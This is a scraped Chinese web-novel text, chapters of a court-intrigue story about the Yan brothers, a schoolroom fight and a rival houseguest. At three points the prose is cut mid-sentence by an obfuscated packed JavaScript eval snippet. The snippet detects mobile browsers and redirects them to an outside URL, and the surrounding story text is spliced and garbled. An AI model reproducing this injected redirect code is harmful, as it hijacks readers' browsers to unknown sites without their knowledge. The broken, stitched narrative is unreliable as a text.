“天恩眷顾,贱内虽惊吓过度还未起身,但性命尚存,好生修养两月就能恢复。”安信侯怅恨地说,“贱内不才,却到底愧蒙天恩封为一品诰命,如今在天子脚下便遭人暗害,那歹徒实在狂妄可恶!” 众人一听,便知安信侯这是将自家家事和京城治安化为一道,以此说动圣心,为他惩凶。 承安帝的目光落在左列,燕颂紫袍玉带,仪容瑰杰,朝官们无不面容周正,他仍是鹤立鸡群。 承安帝唤燕颂的表字,“续明”,他笑了笑,用很温和亲近的语气,“雍京出现此等恶徒,审刑院可有收到风声?” 燕颂出列,“回陛下,并未。此事发生在京郊山路且事发突然,想来那群恶徒是蓄谋已久、目标清晰,我审刑院虽为陛下耳目,力求清明,却也实在无法顾全朝野上下的家私。” “贱内一家宅妇人,并不曾与谁结仇,遑论是要害她性命的深仇大恨。臣知道万不该拿家中私事叨扰陛下,但此事实在令臣一家忧虑惶恐,不知如何是好,还请陛下体恤!”安信侯磕头。 兵部侍郎双眼微垂,刺道:“在雍京地界遭袭,那就去找王府尹嘛,为何跑到文书房来磕头抹眼泪?陛下政务繁忙,侯爷当真是半点不体恤啊。” “诶,李侯也是焦心嘛。莫不是有人恨屋及乌,牵连了侯夫人——”说话的人神情散朗,目光一转就落在了安信侯身上,“李侯,你是这个意思吧?” 这位架桥拨火儿的语气实在明显,安信侯忙说:“回五殿下,臣只是有所怀疑。” 至于怀疑谁,或者说安信侯今日来状告谁,众人眼观鼻鼻观心,心里都有数,只是涉及两家,开口容易结仇,还是站远些的好。 五皇子大喇喇地看了眼左列前方的燕颂,后者侧颜沉静,如完美玉石,毫无缝隙可趁。 兵部侍郎笑了一声,竟直接对身前的燕颂说:“燕大人,听说你先前不问缘由就查了文华侯府在桃溪山的庄子,接着又抓走了菏院的一名管事嬷嬷,这菏院如今的当家主母正是安信侯府的小姐,她先梦魇受惊,其母又路遇歹人,不知此间是否有所关联?” 嘿,这人!文华侯浑身一震,偷偷地剜了哪壶不开提哪壶的兵部侍郎一眼。 燕颂说:“两家私事本不宜冒犯圣听,但既然林侍郎提了,为着态度敞明,请陛下容臣言明原委。” 承安帝颔首,“可。” 燕颂徐徐道:“菏院的嬷嬷李氏派本家侍从潜入桃溪山程庄,意图伺机毒害介弟性命,人证物证俱在,不容抵赖。为着燕国公府和文华侯府的名声,臣本想将此事私了,但李侯意有所指,不如就麻烦王府尹将两桩并联,都查个明白。” “且慢。”文华侯不能再作壁上观,忙说,“府中奴仆差点犯下滔天祸事,是臣管家不严的罪过,所幸燕小公子福泽深厚,一干恶奴业已被惩处,还请燕大人宽恕一回,莫要因着三两恶奴的一己之私就怀疑咱们两家的情谊。” 他看向兵部侍郎,“林侍郎,你就莫要挑事了!” “我哪有?”林肃摊手,“我不过是将李侯的未明之言说出来罢了,等他暗示来暗示去,天都黑了,我兵部还有一堆事要忙呢!” 这位林侍郎自来不知“含蓄”二字如何写,安信侯闹了个红脸,正要说话,就听承安帝说:“行啦。” 众人纷纷收敛,垂首站好。 “侯夫人受惊了,待会儿朕让御医带着补品前去探望,一定要把身子治好。山路遇袭事关京城治安,不可轻视,益清,”承安帝掩袖咳了一声,看向打左列出列的年轻官员,“此事在你雍京府的管辖范围内,就由你来查。” 王府尹和燕世子可不是一条道上的人,两人从前在朝上数次争锋,关系可一般得很,陛下却让他单独查办此案,几个意思?众人眼观鼻鼻观心,不约而同地在心中琢磨着。 王植出列,面色恭谨,“微臣遵旨。” “无事就散了吧。”承安帝话落,众人齐声行礼,按照班次有序离开。 常春春候在顺天门,等燕颂出来立刻上前说:“世子,您得去国子学一趟了。” 燕颂向擦身而过的吏部尚书捧手,后者揶揄道:“小家伙又捣蛋了?” 吏部尚书是两朝元老,从前常指导燕颂的策论文章,若是私下里,燕颂要尊称对方一声“老师”。 “家教不严,乌老见笑了。”燕颂温声说,“只是此次事态尚不明确。” 他看向常春春。 咳,常春春不好意思地说:“小公子和贺小伯爷在学堂打架,动了小刀子,不慎误伤了许博士的胡子,绳愆厅的李监丞请您去一趟。” 燕颂:“……” 乌尚书一副“我就知道”的表情,哈哈大笑着拍拍燕颂的肩膀,“都说是儿女债,到了你这儿就是弟弟债!天冷,快去把小家伙领回家吧。” “天冷路滑,您且慢行。”燕颂捧手行礼,转身离去,他个高腿长,袍摆生花,很快就不见背影。 乌尚书抚须,目光紧随,“续明若是我的孙儿……” “老大人,甭馋了,您孙儿还在花楼等着您去逮呢。”五皇子路过,笑眯眯地提醒。 乌尚书叹气,笑道:“五殿下,您这嘴啊,真是——” 二皇子打一旁路过,接茬说:“狗嘴里吐不出象牙。” 乌尚书颔首以礼,伴着两位皇子的口舌争锋溜之大吉。 * 燕颂到了地方,一眼就瞧见杵在窗前的燕冬,后者蓝袍整洁,白皙的下巴却有一道血印,是利器擦出来的,好在伤口极其浅,已经止血了。 “世子,您来了。” 李监丞的声音打断了燕冬飘到银河上的思绪,他慌忙回神,转头就看见燕颂,不禁心虚地撇开眼,飞快地摸了下伤口。 侯翼和鱼照影同时把脑袋埋进了地里,生怕和燕颂对视——虽然贺申那个废物根本用不着他们群殴,他们只是在这里陪燕冬,但在这种场合躲避燕颂的视线已经是一件刻在骨子里的事了呢! 燕颂示意众人免礼,偏头看向一把美须只剩左边那半把、正蜷缩在坐席上无声垂泪的老博士,温声说:“委屈许博士了。” “世子……世子!”许博士好似看见了亲爹,当即老泪纵横,如滔滔江水汹涌澎湃,“您可算来了,千万替老朽做主啊!” 李监丞请燕颂上座,“世子公务繁忙,本不该打搅,只是学堂斗殴还误伤老师,实在是……唉。” “学堂斗殴确实不该,可既是斗殴,怎么不见另一方?”燕颂的目光落在窗前,淡声说,“上前来。” 燕冬腿肚子一哆嗦,迅速小步挪到燕颂面前,垂首耷耳没敢抬眼。 许博士正哀伤不已,见状不禁唏嘘,这乖顺小兔子模样,哪还有先前一脚踹折贺申腿骨的凶狠? “回世子,贺申被燕冬一脚踹折了左腿,当场痛晕,先抬回家中医治了。”李监丞解释,很怕燕颂以为他偏心贺申。 “哦。”燕颂看向燕冬,“说吧。” 燕冬还未说话,王嘉禧率先上前两步,说:“逢春是为我才动手的,一切责罚由我承担,请世子勿要责他。” 手腕上的黄玉珠串滑落,落在掌心,燕颂握住,指尖不紧不慢地捻了一下,珠子压滚过皮|肉,有点痛意。他没说话,视线落在小姑娘脸上。 那目光像蛇,王嘉禧后退一步,桃腮微白,紧接着却挺胸抬头,坚定地与燕颂对视。 “起初是我先动手的。”燕冬见燕颂看着王嘉禧,怕他见怪,忙说,“我看贺申痴缠骚扰,就拿骨牌砸了他,后来许博士来了,我们就先入座考试。下学后,我们在院门外集合,准备去吃暖锅,贺申又上来拉拉扯扯,还说些污蔑姑娘家的话,我就骂他‘聋子瞎子听不懂人话的二傻子,癞□□想吃天鹅肉的缺心眼子’,他恼羞成怒,我们就打起来了。许博士上前来劝架的时候,我是真的没有看见他老人家,这才不小心误伤了。” 因为心虚,燕冬语速飞快,一字一句没留喘气的口子,噼里啪啦地砸在地板上。说完,他又把脑袋埋下去了。 燕颂在燕冬开口时便将目光转移到了后者脸上,说:“你错在哪儿?” “在学堂动手,误伤许博士无比珍惜的胡须。”燕冬答。 “别的认不认?”燕颂问。 燕冬想了想,抬头看向燕颂,摇头说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457004|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不认。” “好。李监丞,”燕颂看向应声的人,“在学堂斗殴的确不对,绳愆厅照规矩处置了涉事学生就是,只是我有一事不明。” 李监丞心里莫名一跳,忙说:“世子请说。” “国子学是读书的地方,何时成了供学生随地发|春、骚扰同窗的场所?”燕颂说,“绳愆厅有纠察师生之责,贺申三番五次骚扰同窗,有没有处置?是如何处置的?” 李监丞脊背一紧,“这……” 燕颂说:“国子学是为国培养人才的重地,屡次出现这般无耻失礼的事而绳愆厅却毫无作为,作为审刑院使、学生的长兄,于公于私,我是不是都该找礼部要个说法?” 李监丞膝盖一软,跪地磕头道:“世子恕罪!此事是下官督管不严,请世子饶恕一回,下官必定好好反省、加大纠察力度,绝不让这样的事情再发生!” 燕颂捻着手串,没有说话。 李监丞鼻尖冒汗,又说:“今日之事,燕冬虽说冲动了些,但也是为了保护同窗,情有可原。恰好岁暮闭馆,就让他和贺申在岁假期间帮博士们整理罢馆考卷,以作惩罚,世子以为如何?” “李监丞是绳愆厅的主事,你拿主意就好。”燕颂看了李监丞一眼,淡声说,“地上冷,还跪着做什么?起来吧。” “谢世子。”李监丞暗自松了口气,起身退到一旁。 燕颂复又看向燕冬,见他垂着脑袋偷笑,也没说什么,只道:“还不向许博士赔礼道歉?” 燕冬燕冬连忙收敛嘴角,诚恳道:“许博士,误伤了您的美须,对不住,但我真的不是故意的。美须一断难再来,说再多也救不回它,但是您老放心,我回家后立刻请阿姐帮忙,给您研制一副催发的药方,帮您快些养出第二把美须,保管更亮更柔更顺更仙风道骨!” “就是就是!”侯翼帮腔,“您不相信咱们,还不相信燕御医吗?” 鱼照影撩了下两颊的一绺碎发,煞有介事,“您瞧我这一头浓密的黑发,就是抹了燕御医给的药膏。” “你们!当老朽是三岁孩童不成?”许博士胸口起伏,望着纷纷摇头说“哪敢啊”“不敢不敢”的学生,深吸了一口气。 其实比起生气,他更多的是伤心,养一把美须需要耗费多少精力,非同道中人不能明白。 燕冬并非故意断须折辱于他,许博士信,毕竟这三个学生虽然偶尔调皮捣蛋、让人头疼,但在读书上还算用功,除了侯翼,科科都是拔尖的。 国子学里的学生分为好几类,像燕冬他们这样的荫生出自高门大户,少爷脾气都不小,可眼前这三个家底最殷实的反而算得上最老实本分、最不摆谱。除了贺申那一帮,许博士细细想来,还真没发现仨人小队和其余师生有不和。 许博士叹了口气,说:“此间原委,老朽也明白了,就按李监丞说的处置吧。世子莫怪老朽话多,只是作为老师,有的话不说,老朽心里不踏实。燕冬每次有事,都是世子百忙之中抽空前来,作为长兄,您是万分尽责,必定也对他的前途很上心。” 燕颂客气地说:“许博士但说无妨。” “燕冬聪慧,又肯用功,在同级学生里总是名列前茅的,因此他的学业,老朽不担心。只是这孩子就该结业了,若是再因类似同窗斗殴的事情受责,难免影响结业考核,诚然,燕国公府自然肯为孩子打算,可修德修性是人这一生的学业,官场之路世子更是比老朽清楚,鲁莽冲动极易授人以柄、招来祸端啊。” 许博士推心置腹,燕颂便也温和地笑了笑,颔首道:“许博士说得在理,介弟虽偶有年轻气盛处,但诚心为他好的,他自会听进心里去。” 他看了燕冬一眼,燕冬连忙捧手作揖,说:“学生谨记教诲,往后凡事定当三思而后行。” 许博士闻言下意识地抚须,指尖却碰了个空。他顿了顿,指尖顽强地往前伸了两寸,抚摸剩下那半把胡须,说:“如此就好。” 事情解决,燕颂起身,示意跟上来的李监丞和许博士不必送了,领着几个学生出了国子学。 鱼照影和侯翼你推我往前、我拽你往前,最后不得不一齐向燕颂请辞,拉着满脸担忧的王嘉禧先行撤退了。 燕颂看了眼少女恋恋不舍的身影,转身上了马车。 燕冬赶忙跟上,车门一关,他听见燕颂说:“跪下。” 9. 囚鸟 燕冬跪了,好似听到命令的机关人偶,没有半点迟疑。 燕颂的目光落在他脸上,轻缓却如有实质,如同鞭子蹭过,带着审问的意思。燕冬不似那些有几分傲骨的犯人,只这一眼就招了,“我错了。” 态度看似很好,实则抱有侥幸,燕颂笑了笑,不容他含糊,“错在哪儿?” 这笑,燕冬细细一品,把头垂低了些,彻底老实了,“下巴上的伤……是我故意让贺申划的。” 声若蚊蝇,黏黏糊糊。 燕颂没有说话,燕冬放在膝盖上的双手忍不住蜷了蜷,揪住了布料,坦诚道:“这招叫苦肉计,为了讨大哥心疼。” 燕颂咈然,“你很得意?” 燕冬摇头如拨浪鼓。 “平日多喜欢这张脸蛋,这会儿也舍得下手,”燕颂似笑非笑,“我们冬冬也是做大事的人。” 这阴阳怪气、明褒暗贬的,燕冬脖子一缩,干巴巴地赔笑道:“我心里有数的,就擦破点皮——您瞧,我这伤早就原地愈合了!” 燕颂一进门就看出来了,所以才不悦,这小混账看似乖巧,身体里却藏着根逆骨,敲不碎,折不断,偶尔支棱出来恨不得把人的心肝脏脾都戳烂。 燕冬觑着燕颂的表情,觉得苦肉计还是有效,膝盖忙慌往前挪了两步,双手也搭上了燕颂的膝盖,软声说:“哥哥,可不可以不要生气?我不敢了。” “这句‘不敢了’,你没说腻,我都听腻了。”燕颂说。 燕冬嘿嘿一笑,埋头枕在燕颂膝上,闭上了眼睛。燕颂不语,只是用温热的指尖轻轻地在他下巴处的伤痕周围打转,最后捏了捏他的下巴,力道稍重,像是在说不许再有下次。 同样,这句话,燕颂也说了很多遍。 考了一日,燕冬这会儿有些犯困,他在令人心安的气息包裹中浑身放松,思绪飘散,想着燕颂看他的眼神,又想着燕颂围着细小伤痕打转的指尖,不禁记起十六岁离家出走那天。 没有第三个人知道,燕冬那日被绑架不是倒霉,是自找的。 他好歹是将门之后,自小习武,哪能混到被几个地痞流|氓绑架的份儿?不过是他狠不下心真的离家,又惶惶惊疑大哥是不是真的不要他了,所以借势而为,睁一只眼闭一只眼地配合那群人演戏罢了。为了被绑成功,他还特意用了假名,把自己的住宅地说成府下的一处小宅子,免得那群人知道他的身份,不敢再绑了或是生出别的事端呢。 绑架的信了,接到勒索信的却一眼就看出了这里头的端倪。但燕颂仍然很快就到了,亲卫将那群人围在刀锋间,他独自进入柴房。 燕冬被麻绳绑着,蜷在角落里,听到动静时挥散情绪,轻易饱含热泪,捏饰出一副受惊委屈的可怜样。 房门被推开,燕冬惊惶地抬起眼。 燕颂缓步进来,他那样高大,傍晚的霞光都被他挡在身后,又朦胧地笼罩着他,燕冬看不清他的表情,却莫名觉得此时的他不是大哥,是戾气满腹的修罗。 燕颂在燕冬面前蹲下,面容平静地用目光检查着燕冬的脸和身体,却没有立刻帮忙解绑。 燕冬没由来地怯了,叫了声哥哥。 略带求饶的称呼换来了燕颂的手,它沉默地描摹着燕冬的眉眼和鼻唇,很温柔,但燕冬觉得它长出了尖锐的小牙齿,獠着细密阴冷的火星。 这样的抚摸是一种刑罚,燕冬真的被吓到了,开始发抖,眼眶里的泪簌簌的落,这下是真情实感。 燕颂替燕冬拭泪,感慨道:“冬冬长大了,会算计试探哥哥了。” 他语气好温和,乍一听还有些欣慰夸奖的意思,燕冬却后颈瘆凉,僵硬地撒着娇,求着饶,用脸颊蹭那宽大的掌心,哽咽着说:“没长大没长大……” “那冬冬这是在做什么?”燕颂放任燕冬蹭着自己,没有抚摸他,十分好奇,“玩捉迷藏吗?” 燕冬慌忙点头,燕颂便纵容地笑了笑,“那照捉迷藏的规矩,冬冬现在是不是该乖乖跟我回家了?” 家。 在那一瞬间,燕冬突然意识到燕颂对自己的保护还有一层意思,叫做禁锢。如果他脱离了这层禁锢,不论是脚步还是想法,燕颂就会扯掉加诸在自己身上的那条锁链,露出疯狂狠戾的模样。 燕冬畏怯那疯狂,却喜欢被禁锢,他愿意做富贵檐下的小鸟,可举目望去,不能有第二只。 “哥哥,”他似梦非醒,无意识地呢喃,“不许不要我……” 燕颂低头瞧着趴在腿上的人,看清了那侧脸上的依恋,也听清了那话中的命令。他伸手碰燕冬的下巴,被燕冬用指尖圈住了。 一条白皙的锁链。 * 蚊子也是肉,小伤也是伤,何况是伤在脸面上,不能大意。回府后,常青青立刻翻出祛疤复颜的千金雪玉膏给燕冬抹上,“您神游到什么地方去啦?” “事情真的过去了吗?”单臂撑桌发呆的燕冬回神,犹疑道,“我总觉得大哥的心情不是很好,看我的眼神……我形容不出来,总之不是很友好。” “世子才跨出宫门就要去给您擦屁股,把您送回来又要去衙门,实在忙碌,高兴不起来也是情理之中的事。”常青青盖上药罐,“而且您忘啦,世子前脚让您老实考试,您后脚就跟人动手,世子说不准是觉得您不省心。” “不是因为打架。”燕冬笃定,却也说不出来那到底是因为什么,他本打算等大哥回家后直接询问,燕颂这夜却没有归家。 燕颂是个大忙人,从前也曾夜宿衙门,因此翌日得知消息的燕冬并不惊诧,只寻思着大哥这般忙碌,他得去敬敬孝心。 燕冬点了四菜一汤装满食盒,带着昨夜窝在榻上编的那串用绿白蓝黄四色系列水晶、玻璃和玛瑙混搭的手串,兴冲冲地去了刑部衙门。 他拿着钦赐令牌,顺畅无阻地入了皇城。 马车在衙门口停下,门子走到窗前行礼,“小公子来得不巧,大人自昨个傍晚出去后就没再回来。” 燕冬于是掉头去了审刑院。 审刑院是承安年间才设立的新衙门,为了便宜第一任审刑院使燕颂办差,索性就建在刑部的前头,顺着顺天门街走一段路就能到。 “小公子来得不巧,大人今日还没来衙门。”审刑院的门子说。 燕冬转头走了,常青青提着食盒跟在后面,说:“世子会不会在宫里?虽说今日没有朝会,六皇子也放岁假了,但陛下偶尔也会召世子入宫对弈品茗赏花评画……” “大哥在哪儿?”燕冬问当午。 “属下不知。”当午说,“主子忙起来总是不见人影。不如您先寻个暖和的地方用膳,属下遣人到宫门口问问?” 燕冬垂了垂眼,突然有些丧气,“大哥总能找到我,可我找他的时候却环顾四周一片茫然——我是不是也该在他身边安插一枚眼线?” 当午不敢答这话,好在燕冬没使什么性子,从顺天门街出了皇城,就近在青龙一街寻了间食楼。 食盒里的菜是酿烧鱼、山煮羊、杏仁豆腐和素黄瓜,配一盅火腿白菜汤,又香又热乎,燕冬却没心思动筷。 很快,去宫门问话的人回来了,说世子今日不曾入宫。 燕冬戳着软烂的羊肉,心里突然有些焦躁,这股情绪挑撺着他的神经,让他彻底没了胃口。 他偏头看向窗外,雍京繁华,楼台错立、屋宇雄壮,密布的商铺之间民居错落,粉墙碧瓦。 心里好像有一道尖锐的声音在吵嚷着替他指路,燕冬唇珠紧抿,过了一瞬才松开,“青青。” 常青青应道:“诶。” “你去那院子瞧瞧,”燕冬说,“小心些。” 常青青暗道小公子果真还对宋风眠之事心存芥蒂,不敢耽搁,立刻起身退出了雅间。 俄顷,敲门声响,燕冬回神,偏头看向倚在门上的年轻男人,对方穿着殿前司的常服,文武袖绯袍没戴甲,容仪俊爽。 “二哥?”燕冬惊讶,“你怎么在这儿?” “趁着午憩,我出来买梅子姜,路过时瞧见咱家的马车,就上来看看。”燕纵在对面落座,看了眼碟子里那块被戳成烂泥的羊肉,“谁招我们冬冬了?说出来,二哥替你出气。” 燕冬说:“大哥。” 燕纵说:“呃。” 退一步海阔天空——燕冬从燕纵脸上读出这几个字,轻轻一哼,“怂包。” 男儿膝下有黄金,但在大哥跟前软一软,燕纵认了。被香气勾起了才镇压下去不久的馋虫,他拿小碗舀了一勺汤,说:“除了作死,有没有二哥能为你效劳的?” 燕冬示意当午到门前守着,轻声说:“宫里有没有关于四皇子的风声?” “只能说:表明平静,实则暗流涌动。最坐不住的就是二皇子,入宫请安的次数都频繁了起来,但陛下没什么反应。”燕纵看了眼燕冬,颇纳罕,“你对这事感兴趣?” 燕冬点了下脑袋,盯着燕纵,话题突变,“二哥,你喜欢过哪家姑娘吗?知道喜欢一个人的表现是什么吗?” “没有啊,”燕纵觉得这孩子莫名其妙,“我为何要喜欢哪家姑娘?有必要吗?” 说罢喝了口汤,香迷糊了。 得,病急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那夜在书房,燕颂对他的询问短暂地迟疑了一瞬,像是有所保留,他不是没有察觉。那会儿他被一句“不喜欢”暂且安抚,可就像小时候偷偷藏起几篇课业那样,暂时蒙混过关只是因为燕颂在检查时睁一只眼闭一只眼,后面他若是犯了事,还是要拿出来秋后算账的。 燕纵看着燕冬苦兮兮的脸,“这么不想让大哥有人啊?” “我这么想是不是很奇怪?”燕冬闷闷地,“毕竟如果你有了喜欢的姑娘,我恨不得立刻带着你上门求亲。” 燕纵是很爱这个阿弟的,但他并不吃燕颂的醋,谁让燕颂一把屎一把尿带大燕冬的时候,他还是个到处撒野的泼猴呢?闻言,他微微一笑,“行了,知道你很想把我泼出去了。” “没有哦,”燕冬乖巧地说,“我是希望二哥幸福。” “那你怎么不希望大哥幸福?”燕纵打趣,“你是不是怕大哥有家室后就不管你了?” “大哥不会不管我。”燕冬说,“我就是不愿意这件事发生,就像不愿意看见你们不好一样,这是打心底里的想法。” 燕纵看着燕冬认真得近乎执拗的表情,心里莫名跳了跳。他觉得这事难办,只得说:“宋风眠,我会注意,有消息就告诉你。但此人身份敏感,你不要打探得太明显,以免被有心之人做文章。” “我知道。”燕冬嘟囔,“若不是怕招惹耳目,我前几天就直接进那院子一探究竟了。” 但燕冬万万没想到,他不就山,山却已经砸他脚上了。 把燕纵送到青龙门,燕冬打道回府。车里熏着清香,燕颂调的,他闻惯了,觉得像燕颂就坐在他身旁一样,安心。 马车一路平稳地驶入国公府角门,常青青开门,燕冬下车就往熏风院走,打算照例将新编好的手串放在燕颂床边。 “小公子。”几个侍从抬着几个小箱子从另一方走来,停步向走到院子门前的燕冬行礼。 燕冬随口道:“搬的什么呀?” “是换洗衣物和文房笔墨。”为首的侍从答。 燕冬随意开了一箱,入手的触感是寻常棉袍,不是燕颂的,却也不是熏风院侍从的穿衣规制。他有些疑惑,“给谁备的?” “我。” 柔和的男声从院里传来,燕冬侧目,猝不及防地对上一双狐狸眼。 燕冬眼眶微微瞪大,脑袋一片空白,但在这一瞬间,他奇异地并不觉得愤怒,只是僵硬地把目光从宋风眠身上移开,望向廊下的燕颂。 “哥哥。”燕冬倏地笑了,笑得眉眼弯弯,笑得纯真柔善,“家里来客了,怎么不和我说一声呢?” 10. 醉酒 “你为什么要把宋风眠带回来?” 关了门窗,书房里只剩兄弟二人。燕冬杵在书桌前开门见山,他脸上没了笑,一副要逼宫的架势。 燕颂说:“小院不安全了。” 燕冬明白,宋风眠的安全影响着四皇子的处境,却也忍不住嗤笑,“难道偌大的雍京,只有咱家是安全的?这么大一座宅子,只有你熏风院可以藏人?” 坐着的云淡风轻,站着的咄咄逼人,书房内气息微凝。 燕颂看着燕冬,微微眯眼,像是在思忖裁度什么,旋即说:“此事我没必要和你交代。” 燕冬半步不退,眼眶冒火,“宋风眠身份特殊,你偏要把人往家里藏,是生怕没人参你有意站队、谋夺储君之位?” “你是真的突然开始操心我在朝堂上的处境,还是只想扯旗让我把宋风眠撵走?”话这么说,燕颂也没真想着燕冬回答,他说,“好了。” 这俨然是一副不愿多谈的样子,放在平时燕冬倒不觉得什么,但此时滋味全然不同,敷衍、隐瞒、赶他走,就为了宋风眠?! 燕冬耳朵嗡嗡,快要炸了,没禁住口无遮拦起来,“你是心里有数还是心里有情?你那天就是哄我的骗我的,你背着我在外面偷|情——” “胡诌什么?”燕颂蹙眉,“书读到狗肚子里去了,什么叫背着你偷|情?” 燕冬卷了卷气得脱缰的舌头,“我是说,你背着我在外面和人谈情说爱!” “我和谁谈情说爱都不用背着你。”燕颂看着燕冬,像教幼时的燕冬叫自己“哥哥”那样,耐心而笃定地教他——他们是什么关系,“我是你的长兄,凡事无需向你报备,婚姻之事更无需征得你的同意,明白吗?” 燕冬瞪着眼,张着嘴,脑子里一片混沌,许久才憋出一句理不直气不壮的: “可是我不想!” “想不想不由你说了算。”燕颂像是被他闹得头疼,捏了捏鼻骨,冷淡或者说冷酷地撵他,“出去。” 燕冬鼻腔一酸,豆大的眼珠子滚落下来,抿入唇珠,咸,咸得要命!他瞪着这个冷酷无情的男人,瞪得眼珠子尖涩发疼,突然一把夺过燕颂手中的黑漆管笔砸在桌上,转头就走,一颗石弹也似,气势汹汹地撞出门去。 “混账东西。” 燕颂的低斥声从身后传来,燕冬胸中攒火,已经顾不上怕,头也不回地嚷道:“那也是你教出来的!看不惯就打死我!” 燕颂起身走出书房,常春春见势不妙,连忙上前阻拦,“世子息怒!” 侧厅的宋风眠听到吵嚷声,不禁走到窗前一望,燕小公子牛犊似的冲出院子,传闻喜怒不形、荣宠不惊的燕世子站在廊下,竟是一副束手无策的模样。 此时他不是位高权重的阎王,只是管教不得的长兄。 男儿有泪不轻弹——个屁,燕冬自小想哭就哭,不怕谁笑话,且他有个毛病,哭起来就收不住,水关开闸放水似的汹涌磅礴。 常青青不敢也不好安抚,一路小跑跟在后面,见光顾着埋头抹金豆的燕冬就要撞树,赶紧一个箭步上去把人拦腰抱住,“要撞傻啦!” 燕冬脚步一刹,抬头和眼前这棵拦路槐干瞪眼,往日的常绿翠影、寒冬生机,今天看着怎么这么不顺眼呢! “冬冬,怎么一个人在这儿抹眼泪?” 婉转女声自侧方传来,燕冬连忙拿袖口擦了擦眼睛,侧身上前,“表姐,你何时来的?” “午后来的,先去拜见了姑姑姑父。”崔素棠说,“我近来在做荷包,只是上面的花样总是绣不好,来请姑姑指点。” “我瞧瞧,”燕冬双手接过崔素棠小心从袖袋里取出的方形荷包,嘿嘿一笑,“哟,‘牵花怜共蒂,折藕爱丝连[1]’——表姐和侯二哥好恩爱呀。” 崔素棠面颊微热,“你个小鬼头,这会儿倒知道得多,不是从前绣双燕荷包送给大表哥的时候了?” “双燕复双燕,双飞令人羡[2]”,时人常用双燕形容夫妻,十三岁的燕冬却不知道,兴冲冲地绣了只双燕荷包,当着一大家人的面送给了寿星大人。 “大哥是大燕,我是小燕,我们就像荷包上这双亲密无间的燕子,小燕子会永远陪着大燕子,富贵不相忘,贫贱不相弃!”小少年声音软糯,目光明亮,在满堂人惊诧憋笑中笑着祝贺。 燕冬不好意思地说:“我那会儿不懂嘛。” “好,不打趣你。”崔素棠拿巾帕给燕冬擦泪,“被大表哥训了?” 燕家人对燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457006|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬可谓万分纵容,这么多年来除了燕颂,还真没谁严肃地训责过燕冬。崔素棠想起燕冬刚才抹眼泪的可怜样,几乎一下就把怀疑矛头对准了燕颂。 果不其然,燕冬含含糊糊地“嗯”了一声,使性说:“我不要理他了。” 这话不新鲜,崔素棠听听就罢,不当真。她接过燕冬递回来的荷包,小心揣入袖袋里,哄着说:“好,咱不理他,和我回去吃羊肉锅子好不好?” 昨儿说吃锅子也没吃成,燕冬闻言点头,“那我们在路上买点果子酒吧,配着暖锅灌下去,可暖和了。” 崔素棠怀疑燕冬是想借酒消愁,但想着在侯家喝醉了也无妨,便没拆穿,笑着说:“好,都依你。” “那我们快走吧。”燕冬挽着崔素棠的胳膊,一道走了。 崔素棠猜得没错,燕冬真是想借酒消愁,第一瓶是下菜,有说有笑,第二瓶就变了味道,不说不笑,缩在桌边闷头灌酒。 侯翼和崔素棠对视一眼,说:“冬,你可悠着点,喝伤了回去要挨骂——” “我怕他吗?”燕冬猛地抬头,醉醺醺地说,“我不怕!他不需要向我交代,我也不要他管!” 好志气!若是平日里,侯翼真想摸摸好兄弟坚硬支棱的翅膀,鼓掌叫好,但醉话显然当不得真。 侯翼正想继续安抚安抚醉鬼,余光里,崔素棠脸色奇怪、微微紧绷,他顿觉不妙,下意识偏头往门口一望,燕颂正站在那里。 什么时候来的?! 侯翼“唰”地撤回目光,后背发凉。 “哈,你还撵我,当我稀罕赖着你是不是?当我真的离不开你是不是?我要离家出走,去江南,去北境!”燕冬沉浸在自己的情绪里,全然没有注意侯翼逐渐扭曲的五官,宣告了雄心壮志的下一瞬,他眼睛一闭,“啪”地倒在了桌上。 侯翼和崔素棠:“……” 燕冬的酒量不好不差,清淡的果儿酒能喝两壶,但情绪是最冲的助兴药,混着一勾兑,很快,脑子麻了,身子飘了,整个人从胃开始烧了起来。 他趴在胳膊里,身子蜷着,整个人都好像漂在空中,屁股沾不实,和心一样。突然,熟悉的指尖落在他的头顶,停顿了一瞬,轻轻地插|入发间,伴随着一声叹息。 11. 挑衅 燕冬像是嗅着味道便立刻寻找来源的小动物,直腰后仰倒在充盈着石叶香的怀抱里,熟悉的温暖让他蜷了蜷,下意识地抱住来人的脖颈。 燕颂把醉鬼捞起来,“人,我带走了。” 崔素棠拦住要随行相送的侯翼,福身道:“夜风袭人,大表哥慢走,恕不远送。” “天冷,早些歇着。”燕颂背上燕冬离开。 燕冬目下倒是老实,趴在燕颂背上像条耷拉着的毛绒尾巴,燕颂背着他也不显负累,长腿几迈就出了暖阁。 “嫂嫂,咱们不送会不会太失礼了?”侯翼说。 “兄弟俩闹不愉快,正需要机会说开,大表哥明白我的意思,不会见怪。”崔素棠说。 长廊如蛇,夜灯连绵,燕颂步履稳健,背着醉鬼出了镇远侯府。 常春春打开车门,“柜里有解酒药,要给小公子喂吗?” 